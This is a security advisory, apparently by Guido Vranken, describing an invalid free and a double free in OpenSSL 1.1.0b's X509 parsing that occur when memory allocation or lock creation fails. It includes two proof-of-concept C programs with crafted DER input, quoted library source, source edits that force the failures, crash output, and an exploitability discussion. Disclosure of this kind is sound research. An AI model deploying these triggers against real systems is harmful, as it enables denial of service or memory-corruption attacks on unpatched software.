These programs will run just fine, unless memory allocation or thread locking fails at certain places in the code.
Tested on OpenSSL 1.1.0b on 64 bit Linux.
Comment by OpenSSL:
We've discussed the matter and ddecided that bugs triggered by memory allocation
failure do not require a CVE and will be just fixed in the relevant branches,
giving appropriate credit in the commit logs of course.
invalid_free_tasn_fre.c
-------------------------------------
#include <openssl/x509.h>
#include <openssl/bio.h>
#include <string.h>
int main(void)
{
unsigned char* buf = NULL;
const unsigned char *p;
unsigned char data[] = {
0x30, 0x80, 0x30, 0x00
};
buf = malloc(sizeof(data));
if ( buf == NULL ) {
return 0;
}
memcpy(buf, data, sizeof(data));
p = buf;
X509 *x509 = d2i_X509(NULL, &p, sizeof(data));
if ( x509 != NULL ) {
X509_free(x509);
}
free(buf);
return 0;
}
-------------------------------------
This will invoke asn1_item_embed_new.
-------------------------------------
(Copied from OpenSSL 1.1.0b sources)
int asn1_item_embed_new(ASN1_VALUE **pval, const ASN1_ITEM *it, int embed)
{
...
...
case ASN1_ITYPE_NDEF_SEQUENCE:
case ASN1_ITYPE_SEQUENCE:
if (asn1_cb) {
i = asn1_cb(ASN1_OP_NEW_PRE, pval, it, NULL);
if (!i)
goto auxerr;
if (i == 2) {
#ifndef OPENSSL_NO_CRYPTO_MDEBUG
OPENSSL_mem_debug_pop();
#endif
return 1;
}
}
if (embed) {
memset(*pval, 0, it->size);
} else {
*pval = OPENSSL_zalloc(it->size);
if (*pval == NULL)
goto memerr;
}
/* 0 : init. lock */
if (asn1_do_lock(pval, 0, it) < 0)
goto memerr;
asn1_enc_init(pval, it);
for (i = 0, tt = it->templates; i < it->tcount; tt++, i++) {
pseqval = asn1_get_field_ptr(pval, tt);
if (!asn1_template_new(pseqval, tt))
goto memerr;
}
if (asn1_cb && !asn1_cb(ASN1_OP_NEW_POST, pval, it, NULL))
goto auxerr;
break;
...
...
}
-------------------------------------
If this code fails to allocate memory (OPENSSL_zalloc) or to acquire a lock (asn1_do_lock), an invalid free will occur.
For an easy demonstration of the vulnerability you may alter CRYPTO_THREAD_lock_new() so that it always indicates failure.
-------------------------------------
CRYPTO_RWLOCK *CRYPTO_THREAD_lock_new(void)
{
return NULL;
}
$ ./a.out
*** Error in `./a.out': free(): invalid pointer: 0x00000000013d50c8 ***
Aborted
-------------------------------------
double_free_x509_name_ex_d2i.c
-------------------------------------
/* By Guido Vranken */
/* guidovranken at gmail com */
#include <openssl/x509.h>
#include <stdlib.h>
#include <string.h>
const unsigned char data_header[] = {
0x30, 0x80, 0x30, 0x80, 0x02, 0x02, 0x4a, 0x30, 0x30, 0x80, 0x06, 0x01,
0x30, 0x00, 0x00, 0x30, 0x80, 0x31, 0x80
};
const unsigned char data_middle[] = {
0x30, 0x80, 0x06, 0x01, 0x01, 0x0c, 0x00, 0x00, 0x00
};
const unsigned char data_footer[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
#define X509_NAME_MAX (1024 * 1024)
#define ADD_DATA(X) { memcpy(data + offset, (X), sizeof((X))); offset += sizeof((X)); }
int main(void)
{
size_t i, N, offset, totalsize;
unsigned char* data;
totalsize = 0;
totalsize += sizeof(data_header);
totalsize += sizeof(data_footer);
/* Calculate max amount of middle parts that fit in X509_NAME_MAX */
N = (X509_NAME_MAX-totalsize)/sizeof(data_middle);
/* And then some */
N += 2;
totalsize += sizeof(data_middle)*N;
data = malloc(totalsize);
if ( data == NULL ) { return 0; }
/* Fill buffer */
offset = 0;
ADD_DATA(data_header);
for (i = 0; i < N; i++) {
ADD_DATA(data_middle);
}
ADD_DATA(data_footer);
{
const unsigned char* p = data;
X509 *x509 = d2i_X509(NULL, &p, totalsize);
if (x509 != NULL) {
X509_free(x509);
}
}
free(data);
return 0;
}
-------------------------------------
This will invoke x509_name_ex_d2i.
-------------------------------------
(Copied from OpenSSL 1.1.0b sources)
static int x509_name_ex_d2i(ASN1_VALUE **val,
const unsigned char **in, long len,
const ASN1_ITEM *it, int tag, int aclass,
char opt, ASN1_TLC *ctx)
{
...
...
/* Convert internal representation to X509_NAME structure */
for (i = 0; i < sk_STACK_OF_X509_NAME_ENTRY_num(intname.s); i++) {
entries = sk_STACK_OF_X509_NAME_ENTRY_value(intname.s, i);
for (j = 0; j < sk_X509_NAME_ENTRY_num(entries); j++) {
entry = sk_X509_NAME_ENTRY_value(entries, j);
entry->set = i;
if (!sk_X509_NAME_ENTRY_push(nm.x->entries, entry)) {
/*
* Free all in entries if sk_X509_NAME_ENTRY_push return failure.
* X509_NAME_ENTRY_free will check the null entry.
*/
sk_X509_NAME_ENTRY_pop_free(entries, X509_NAME_ENTRY_free);
goto err;
}
/*
* If sk_X509_NAME_ENTRY_push return success, clean the entries[j].
* It's necessary when 'goto err;' happens.
*/
sk_X509_NAME_ENTRY_set(entries, j, NULL);
}
sk_X509_NAME_ENTRY_free(entries);
sk_STACK_OF_X509_NAME_ENTRY_set(intname.s, i, NULL);
}
...
...
err:
X509_NAME_free(nm.x);
sk_STACK_OF_X509_NAME_ENTRY_pop_free(intname.s, sk_X509_NAME_ENTRY_free);
ASN1err(ASN1_F_X509_NAME_EX_D2I, ERR_R_NESTED_ASN1_ERROR);
return 0;
}
-------------------------------------
If sk_X509_NAME_ENTRY_push fails due to a failure to reallocate memory, a double-free will occur; the first free occurs in sk_X509_NAME_ENTRY_pop_free and the second in sk_STACK_OF_X509_NAME_ENTRY_pop_free.
For an easy demonstration of the vulnerability you may do the following in order to emulate failure. Change
-------------------------------------
if (!sk_X509_NAME_ENTRY_push(nm.x->entries, entry)) {
into
if ( 1 ) {
$ ./a.out
Segmentation fault
-------------------------------------
Exploitability
The methods proposed above to demonstrate the vulnerability require changing the OpenSSL source code, which is obviously "cheating". However, the safety of the OpenSSL code relies on actions whose success can not be guaranteed (heap allocations and thread locking). If an attacker's control over an application or system is such that they can artificially induce a memory shortage or thread locking failure, perhaps as a local user on a system in an effort to exploit a root process using OpenSSL, or through a remotely triggerable memory accumulation (CVE-2016-6304?), then an attack might be viable.
